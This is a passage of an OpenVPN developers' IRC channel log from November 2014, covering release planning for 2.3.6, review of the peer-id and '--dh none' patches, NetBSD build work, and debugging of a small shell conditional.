ask/check with Fabian ... but I don't mean to dump things unto you, but feel free to do so :) 13:35 < lev__> ok I can do that 13:35 <@mattock> nice! 13:35 <@cron2> mattock: I'm not letting you go before netbsd51 stops erroring on me! 13:36 <@plaisthos> syzzer: does OpenSSL fallback to non PFS or does it throw an error if you don't add DH paramters? 13:36 <@plaisthos> (error as in no common cipher) 13:36 <@dazo> syzzer: how will this patch work on a non-EC --server setup where we need --dh today .... but the user forgets to include --dh? 13:37 <@cron2> if it's not included, it will not change the code 13:37 <@syzzer> plaisthos: no. it needs other stuff to do non-PFS, and I already got rid of that stuff in master 13:37 <@cron2> it still checks for "--dh set" 13:37 <@cron2> the only new case is "--dh none", with explicitely calling it "none" 13:37 <@syzzer> dazo: the code will still complain if you don't set --dh, you have to specify '--dh none' to not use DH 13:38 <@dazo> right, and if --dh none is given then ... as the user tries to ignore the dhparam file? 13:38 <@dazo> (that's the first thing newbies on #openvpn will do) 13:39 <@cron2> that is about the same thing I asked - what will "not calling tls_ctx_load_dh_params()" actually *do*, behind the scenes? 13:39 <@cron2> (all the rest of the patch is good for me) 13:39 <@dazo> sorry ... didn't see that 13:40 <@dazo> agreed 13:40 <@syzzer> cron2, dazo: I will dive in again (too long ago, I don't dare to state anything without looking at it again) 13:41 <@mattock> cron2: re: netbsd51: yeah, life got in the way today 13:41 <@mattock> the netbsd builldslave is fairly trivial, so I can finish it after the meeting 13:43 <@mattock> has anyone had time to review d12fk's interactive service code? 13:43 <@plaisthos> is it already in a reviewable state? 13:44 <@mattock> good question 13:44 <@mattock> I think so, but could be wrong 13:45 <@dazo> he has pushed out his tree ... it's one large commit, which he said would be crazy to try to split up into smaller chunks 13:45 <@cron2> he mentioned something about "not compiling" - the thing sophos is shipping is ipv4-only, but he hacked ipv6 into it and that might be unfinished 13:45 <@mattock> ah 13:45 <@syzzer> I did not yet look at it 13:45 <@dazo> git://git.code.sf.net/p/openvpn-gui/openvpn ... in the interactive_service branch 13:45 <@plaisthos> so the v4 code is actually already in producttion? 13:46 <@cron2> yes 13:46 <@cron2> in the astaro/sophos UTM client 13:47 <@dazo> Anyone got some time to look at my query-user patches? http://thread.gmane.org/gmane.network.openvpn.devel/9232 13:47 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:47 <@dazo> Or my down-root plug-in patches? http://article.gmane.org/gmane.network.openvpn.devel/9238 http://article.gmane.org/gmane.network.openvpn.devel/9247 13:47 <@vpnHelper> Title: Gmane -- PATCH down root plugin: Replaced system calls with execve (at article.gmane.org) 13:48 <@mattock> did d12fk say when he'd have the IPv6 bits in place? 13:49 <@syzzer> dazo: no, lev__ kept be busy recently ;) 13:49 <@cron2> d12fk gave us what he has, because we claimed "someone will make it work" 13:49 <@mattock> ah 13:49 <@mattock> who is this mythical "someone", then? :P 13:49 <@dazo> syzzer: fair enough ... his stuff is more important anyhow :) 13:49 <@mattock> hmm, IPv6... I wonder 13:49 <@cron2> (and that was mostly because we didn't have anything before - d12fk was way too busy...) 13:49 <@cron2> mattock: I've heard you're into windows 13:49 <@mattock> lol 13:50 <@mattock> well, I can do testing of course 13:50 <@mattock> just let me know what I should test for 13:51 <@cron2> well... all in good order :) - peer-id, that other patch, release 2.3.6, ... 13:52 <@cron2> as far as releasing 2.3.6 goes: I'll do a tarball on friday/saturday and send syzzer and mattock the locations, and then official push on monday 20:00? 13:52 <@dazo> cron2: I'd like to get the updated systemd unit files into 2.3.6 ... (yet another patch) 13:53 <@plaisthos> cron2: with peer-id client stuff 13:53 <@dazo> http://article.gmane.org/gmane.network.openvpn.devel/9222 13:53 <@plaisthos> ? 13:53 <@cron2> dazo: are they on the list? 13:53 <@vpnHelper> Title: Gmane -- PATCH systemd: Reworked the systemd unit file to handle server and client configs better (at article.gmane.org) 13:53 <@syzzer> cron2: could you send me the output of git format-patch v2.3.5 perhaps? 13:53 <@cron2> plaisthos: yes! 13:53 <@plaisthos> great! 13:53 <@dazo> yes, all my stuff has been pushed out 13:53 <@cron2> syzzer: ok 13:53 <@dazo> mailed to the ML, that is 13:53 <@cron2> ah, there it is 13:54 <@mattock> cron2: re: 2.3.6 schedule sounds good 13:55 <@dazo> cron2: The client side stuff has been tested, quite successfully even 13:56 <@dazo> (server side part should be functional too, but not so much tested as the client side) 13:56 <@mattock> regarding interactive service 13:57 <@mattock> perhaps we should consider making special OpenVPN builds for it 13:57 <@mattock> I think we could get a fair amount of testers that way, given how useful it is to many people 13:57 <@dazo> mattock: that sounds like a good idea ... at least have it as an experimental download 13:57 <@mattock> exactly 13:57 <@dazo> on the community pages 13:57 <@mattock> and advertise it like hell 13:58 <@cron2> "master" windows builds will have it, "2.3" might get it if it turns out to be stable and way cool 13:58 <@mattock> it's already way cool compared to what we have :P 13:58 <@vpnHelper> RSS Update - gitrepo: systemd: Reworked the systemd unit file to handle server and client configs better <https://github.com/OpenVPN/openvpn/commit/3341a98c2852d1d0c1eafdc70a3bdb218ec29049> 13:58 <@dazo> I'd say we should aim this for 2.4+ ... as I think the patch set is a bit too big, tbh 13:58 <@dazo> (for a 2.3 backport that is) 13:59 <@cron2> right, forgot that it's much more than "just the service side" 14:00 <@mattock> Trac's view of what's missing from 2.3.6 and 2.4: 14:00 <@mattock> https://community.openvpn.net/openvpn/query?status=accepted&status=assigned&status=new&status=reopened&milestone=release+2.3.6&col=id&col=summary&col=milestone&col=status&col=type&col=priority&col=component&order=priority 14:00 <@mattock> https://community.openvpn.net/openvpn/query?status=accepted&status=assigned&status=new&status=reopened&milestone=release+2.4&col=id&col=summary&col=milestone&col=status&col=type&col=priority&col=component&order=priority 14:00 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 14:00 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 14:00 <@mattock> the 2.4 part probably needs a bit cleaning 14:01 <@cron2> I'll look into the 2.3 stuff 14:02 <@mattock> cron2: I squashed a few trivial documentation bugs already 14:02 <@mattock> there are a couple more 14:02 <@cron2> yep, merged one of them :) 14:02 <@mattock> oh, just for the record, the NSI stuff for 2.4 is still wip 14:02 <@mattock> I'll note that in the summary 14:03 <@mattock> are we covered for now? 14:04 <@cron2> I think that's good enough, I'm not really very much awake today... let's redo a short and focused meeting in two weeks or so 14:04 <@mattock> agreed 14:04 <@mattock> Monday 8th Dec it is 14:05 <@mattock> any objections? 14:05 < lev__> so to be sure: peer-id will go to master in few days if James won't say NACK 14:05 <@syzzer> yeah, sounds ok 14:05 <@andj> sounds good 14:05 <@dazo> lev__: yes 14:05 <@cron2> lev__: yes 14:05 <@dazo> lev__: I said you could do your dance ;-) 14:05 <@cron2> mattock: go for it :) 14:05 <@syzzer> one more question: did we wait long enough to remove ENABLE_SSL ? 14:05 <@cron2> syzzer: did you get *any* response? 14:05 <@syzzer> no, none at all 14:06 <@cron2> out with it 14:06 <@mattock> then people don't care probably 14:06 <@syzzer> good, I'll send a patch soon :) 14:06 <@dazo> syzzer: there was one from #openvpn .... /me digs it up 14:06 <@mattock> they will scream when it's gone, but that should be fairly limited 14:07 <@plaisthos> and then provide no valid use case 14:07 <@mattock> :) 14:07 <@plaisthos> (like people requesting that they really need binding to port < 1024 on Android) 14:07 <@dazo> <dazo> <Eugene> I can't imagine anybody seriously missing that one, except maybe the Debianites 14:07 <@dazo> <dazo> <Eugene> Or that one Gentoo lunatic(there's always one...) 14:07 <@dazo> syzzer: ^^^ 14:07 <@dazo> ;-) 14:08 <@mattock> ok, so a "lunatic" might object 14:08 <@mattock> I think we can live with that :P 14:08 <@dazo> :) 14:08 <@plaisthos> IT RUNS FASTA without SSL which I DO NOT NEED! FIX It You M0R0NS! 14:08 <@mattock> just to make sure: syzzer asked about this on ml? 14:08 <@cron2> mattock: both on -users and -devel lists 14:08 <@syzzer> yes, mailed to -users, BCC'ed -devel 14:08 <@mattock> ok, good 14:09 <@plaisthos> I sucks at bash script 14:09 <@dazo> syzzer: kick it out :) 14:09 <@plaisthos> I cannot get an if (IV_PROTO >= 2) right 14:09 <@dazo> plaisthos: who doesn't? 14:10 <@syzzer> dazo: more than happy to! 14:10 <@dazo> plaisthos: try -ge instead of >= 14:10 <@cron2> plaisthos: if [ -n "$IV_PROTO" -a "$IV_PROTO" -gt 1 ] ; then ... 14:10 <@cron2> suchish 14:10 <@plaisthos> cron2: thanks 14:11 <@mattock> are we done? 14:11 <@mattock> I have a netbsd buildslave to fix 14:11 <@mattock> :) 14:11 <@cron2> mattock: good night :) 14:11 <@mattock> cron2: not that fast 14:12 <@syzzer> yep, done 14:12 <@mattock> ok, see you guys in two weeks 14:12 <@andj> see you 14:12 <@mattock> cron2: I'll activate the change to the buildmaster and retry netbsd builds 14:12 <@cron2> mattock: thanks! 14:13 <@plaisthos> cron2: IV_LZ4=1 sh -x peerid.sh 14:13 <@plaisthos> + [ -n -a -gt 1 ] 14:13 <@plaisthos> peerid.sh: 3: [: Illegal number: 14:13 <@plaisthos> I give up 14:14 <@cron2> you need the quotes 14:14 <@cron2> ah 14:14 <@cron2> meh 14:14 <@plaisthos> if [ -n "${IV_PROTO}" -a "${IV_PROTO}" -gt 1 ] ; then 14:15 <@cron2> if [ -n "$IV_PROTO"] ; then 14:15 <@cron2> if [ "$IV_PROTO" -gt 1 ] ; then 14:15 <@plaisthos> and also IV_PROTO=n also bails 14:15 <@cron2> dosomething 14:15 <@plaisthos> I thought it would be nice to provide a script in shell 14:15 <@plaisthos> but I am not sure about that anymroe 14:15 <@cron2> shell doesn't do short-cut if, and does not like non-numbers in -gt 14:16 <@cron2> case $IV_PROTO in 14:16 <@cron2> 2) do_something ;; 14:16 <@plaisthos> maybe a clean python script is easier to understand 14:16 <@cron2> *) do_nothing ;; 14:16 <@cron2> fi 14:16 <@cron2> s/fi/esac/ 14:31 <@mattock> oh, the buildslave are building now 14:31 <@mattock> I just got buildmaster back up after some tabs-to-spaces fun 14:32 <@mattock> it's getting late so I'll check back on this tomorrow 14:33 <@mattock> with any luck netbsd51+default flags will just work 14:49 -!- dazo is now known as dazo_afk 15:02 <@cron2> thanks 15:26 -!- mattock is now known as mattock_afk 15:47 <@plaisthos> http://plai.de/android/peerid.py 15:48 <@plaisthos> if anyone needs that 15:48 <@plaisthos> it is not perfect but gets the job done 15:49 <@cron2> yeah 15:50 <@plaisthos> clients gets push something like ping 60,ping-timeoute 180,ping 300,ping-timeout 1830 15:54 <@cron2> options.c handles that just fine :) 15:54 <@cron2> (I push "compress lzo, compress snappy" in that case...) 15:54 <@plaisthos> :) 15:55 <@plaisthos> (Things you do, when you know the parser better than you should ...) 15:56 <@plaisthos> syzzer: I wonder how many openvpn servers now stopped working because of expired sample keys :D 16:13 <@pekster> When I do my own testing/prototype keys, I have a habbit of generating them painfully short; 30-60 days, specifically so I'm not tempted to keep using them 16:19 <@plaisthos> route.c, get_default_gateway seems highly suspicious code 16:19 <@plaisthos> the code defines struct ifreq ifreq; and uses that struct 16:20 <@plaisthos> but the struct is never assigned 17:24 < snappy> please don't compress me :( 18:07 <@vpnHelper> RSS Update - tickets: #484: Inline file size limit <https://community.openvpn.net/openvpn/ticket/484> 20:05 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 272 seconds] 20:47 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 20:47 -!- mode/#openvpn-devel [+o pekster] by ChanServ 22:58 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 23:08 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 23:08 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Tue Nov 25 2014 00:30 <+krzee> plaisthos, i msg'ed, ((IV_PROTO>= 2)) 00:30 <+krzee> id be happy to help if you havnt finished 00:57 -!- mattock_afk is now known as mattock 02:20 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:42 <@cron2> plaisthos: what do you mean with "assigned"? 03:10 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 03:15 <@plaisthos> cron2: assigned in the sense of ifreq = something 03:15 <@plaisthos> or memcpy (ifreq, something) 03:15 <@cron2> maybe CLEAR()ed? 03:15 <@cron2> lemme look :) 03:17 <@cron2> yeah, that one is interesting... ifreq.ifr_name is filled, and then it's passed to SIOCGIFFLAGS, which presumably doesn't care about anything but ifr_name... 03:17 <@cron2> but a nice and shiny CLEAR() would, indeed, make that more CLAR 03:17 <@cron2> CLEAR even 03:21 <@syzzer> plaisthos: have you seen any people complaining about expired sample keys? 03:43 <@plaisthos> oh I missed that IFFLAGS 03:43 <@plaisthos> syzzer: no yet 04:09 -!- dazo_afk is now known as dazo 04:33 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 08:16 <@mattock> cron2: netbsd patch now seems to work, but I see this in "make test" logs: CA_CERT not defined in 't_client.rc'. SKIP test. 08:16 <@mattock> http://10.177.36.101:8010/builders/builder-cron2-netbsd-51-amd64-stable-master/builds/102/steps/compile_2/logs/stdio 09:05 <@cron2> \o/ (that CA_CERT message is basically "the t_client.rc file is empty, and I don't like it") 10:47 -!- novaflash_away is now known as novaflash 11:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 13:23 < snappy> ravi: cant see it, nred traceroute AND ping for 120 packets: ping -c 120 [ip] 13:24 < snappy> er srong pl sorry 13:24 <@cron2> we would have never guessed 14:09 -!- mattock is now known as mattock_afk 15:28 -!- dazo is now known as dazo_afk 16:37 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 23:18 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel --- Day changed Wed Nov 26 2014 01:16 -!- mattock_afk is now known as mattock 01:39 -!- mattock is now known as mattock_afk 01:55 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 01:57 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel 01:58 -!- mattock_afk is now known as mattock 02:26 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:05 < lev__> cron2: client12 still alive 03:07 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 03:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:22 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 03:27 <@cron2> of course it is! :-) 03:27 <@cron2> (the client side is trivial enough that I'm not worrying very much about it) 03:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 03:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:31 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 03:45 < lev__> any response from James? (I guess not..) 03:46 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:46 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 03:49 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 04:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 04:42 -!- dazo_afk is now known as dazo 04:45 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:45 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 05:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:45 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 06:28 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:28 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 07:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:18 <@ecrist> mattock: it would really depend on which website. 07:18 <@ecrist> I think security@ would be OK for the community site, for example. 07:19 <@ecrist> I might be able to get to a fix before you, or vice versa. 07:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 07:40 -!- Hes [qgk@tunkki.fi] has quit [Ping timeout: 250 seconds] 07:45 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:45 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:52 -!- mattock is now known as mattock_afk 07:54 <@vpnHelper> RSS Update - tickets: #485: Android 5.0: long press on profile does nothing <https://community.openvpn.net/openvpn/ticket/485> 08:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 08:11 -!- mattock_afk is now known as mattock 08:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 258 seconds] 08:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:16 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:22 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:27 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 08:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:33 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:56 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 09:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 09:38 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 09:45 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 10:05 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 272 seconds] 10:06 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 10:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:38 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 11:02 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 11:09 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:46 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:46 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 12:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 12:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 12:25 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 12:31 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 12:31 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 12:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 13:28 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:28 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 13:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:42 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:49 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 272 seconds] 14:04 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 14:07 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:26 -!- dazo is now known as dazo_afk 14:33 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 14:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 15:59 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 16:00 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 16:12 -!- mattock is now known as mattock_afk 18:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 18:26 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:26 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 21:00 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 21:33 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 22:08 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 22:09 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 264 seconds] 22:10 -!- EvilJStoker_ is now known as EvilJStoker 22:15 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 256 seconds] --- Day changed Thu Nov 27 2014 00:23 -!- mattock_afk is now known as mattock 02:12 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:59 -!- dazo_afk is now known as dazo 04:04 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 04:14 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 250 seconds] 04:36 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 04:45 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 265 seconds] 06:16 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 07:49 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 256 seconds] 08:14 <@cron2> lev__: what will happen if the server has "max-clients 5" set, and client #6 connects? will it crash, or won't it ever reach the 08:14 <@cron2> + for (i = 0; i < m->max_clients; ++i) 08:14 <@cron2> loop? 08:18 < lev__> first, multi_create_instance will return null 08:18 <@vpnHelper> RSS Update - gitrepo: Peer-id patch v7 <https://github.com/OpenVPN/openvpn/commit/65eedc353349d2967fc03c54da807727e416e1b0> 08:19 < lev__> because of that it won't reach loop 08:23 <@cron2> ic... need to re-read the code again (sent the question to the list as well). Maybe it would still good to have an ASSERT() here, so if multi_create_instance() ever gets changed, we will then crash in a well-defined way instead of "assuming things" 08:24 <@cron2> besides - time for your dance :) 08:25 < lev__> also, it is good birthday gift, thanks! :) 08:25 <@cron2> your birthday today? 08:25 < lev__> 30yo 08:25 <@cron2> wow, congratulations! 08:26 <@cron2> (so young... :) ) 08:26 < lev__> danke shön! 08:33 < lev__> by the way, where exactly should we assert? if multi_create_instance returned non-NULL and we didn't break out of for loop ? 08:47 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 09:08 <@cron2> if we didn't break out of the for() loop 09:08 <@cron2> the code after the for() has certain assumptions, and if these are not met, it should explicitely fail -> that's why we have ASSERT() all over the place :) 09:39 <@syzzer> lev__: double congrats in that case! 10:00 <@plaisthos> lev__: gratulations! 10:18 < lev__> thanks! 10:32 -!- dazo is now known as dazo_afk 11:32 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] 12:14 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 13:24 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 15:24 -!- mattock is now known as mattock_afk 15:37 -!- mattock_afk is now known as mattock 15:47 <@cron2> jftr, as expected, the newly pushed "master" server passed all t_server tests... \o/ (none of them excercising the peer-id code, but a good regression test nonetheless) 16:05 -!- mattock is now known as mattock_afk 19:00 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 250 seconds] --- Day changed Fri Nov 28 2014 01:09 -!- mattock_afk is now known as mattock 02:34 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:06 -!- kef [~kef@matrix.fullmotion.de] has quit [Quit: Quit] 03:06 -!- kef [~kef@matrix.fullmotion.de] has joined #openvpn-devel 03:09 -!- kef [~kef@matrix.fullmotion.de] has quit [Client Quit] 03:10 -!- kef_ [~kef@matrix.fullmotion.de] has joined #openvpn-devel 03:49 -!- kef_ is now known as kef 04:28 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 05:13 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 05:33 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 05:41 -!- novaflash is now known as novaflash_away 05:54 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 07:03 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 07:15 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 07:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 09:22 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 256 seconds] 09:36 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 09:36 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 09:53 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 09:59 < lev__> Inotify patch sent for a review. Also can be seen here: https://github.com/stipa/openvpn/tree/inotify 09:59 <@vpnHelper> Title: stipa/openvpn at inotify · GitHub (at github.com) 10:50 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 11:12 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:39 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 12:32 -!- novaflash_away is now known as novaflash 13:30 <@cron2> syzzer: are you around? 14:05 <@cron2> anyone around? syzzer, mattock, dazo? 14:09 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 14:33 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 15:04 <@plaisthos> cron2: I am here 15:54 <@cron2> plaisthos: reassuring :) 16:52 -!- miruss [~miruss@109.86.199.18] has joined #openvpn-devel 16:52 < miruss> hi 16:53 < miruss> I have some problems with Creating a NSIS installer ("windows-nsis" subdir) 16:55 < miruss> after 16:55 < miruss> $ cd openvpn-build/windows-nsis 16:55 < miruss> $ ./build-snapshot 16:55 < miruss> Build openvpn 16:55 < miruss> ../generic/build: 284: cd: can't cd to /home/user/nsis/openvpn-build/windows-nsis/tmp/build-i686/openvpn-2.3.5 16:55 < miruss> FATAL: cd openvpn 16:55 < miruss> 18:14 -!- miruss [~miruss@109.86.199.18] has quit [Quit: =)] 21:01 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 21:42 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 22:59 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] --- Day changed Sat Nov 29 2014 00:34 -!- shivanshu_ [~shivanshu@104.131.8.15] has joined #openvpn-devel 00:34 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 00:34 -!- mode/#openvpn-devel [+o andj__] by ChanServ 00:37 -!- Netsplit *.net <-> *.split quits: shivanshu, @andj 00:37 -!- andj__ is now known as andj 00:37 -!- shivanshu_ is now known as shivanshu 02:57 <@syzzer> cron2: I'm now :) 04:18 -!- mattock is now known as mattock_afk 04:20 -!- mattock_afk is now known as mattock 05:10 <@cron2> syzzer: you answered the mail anyway :) 05:25 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 07:19 -!- shivanshu [~shivanshu@104.131.8.15] has quit [Changing host] 07:19 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 07:30 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] 09:59 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 14:04 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 264 seconds] 15:05 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 16:17 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 16:22 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 260 seconds] 16:22 -!- EvilJStoker_ is now known as EvilJStoker 17:43 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: A common mistake that people make when trying to design something completely foolproof is to underestimate the ingenuity of complete fools. -- Douglas Adams] 18:21 -!- mattock is now known as mattock_afk 18:23 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:32 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] --- Day changed Sun Nov 30 2014 03:15 <@vpnHelper> RSS Update - tickets: #486: The Best Bodybuilding Supplements To Take Forever Nitro X Muscle Building Muscle Building <https://community.openvpn.net/openvpn/ticket/486> 04:58 -!- mattock_afk is now known as mattock 05:02 <@vpnHelper> RSS Update - tickets: #486: Yet another spam <https://community.openvpn.net/openvpn/ticket/486> 09:56 <@cron2> so, we've agreed to drop --enable-ssl and 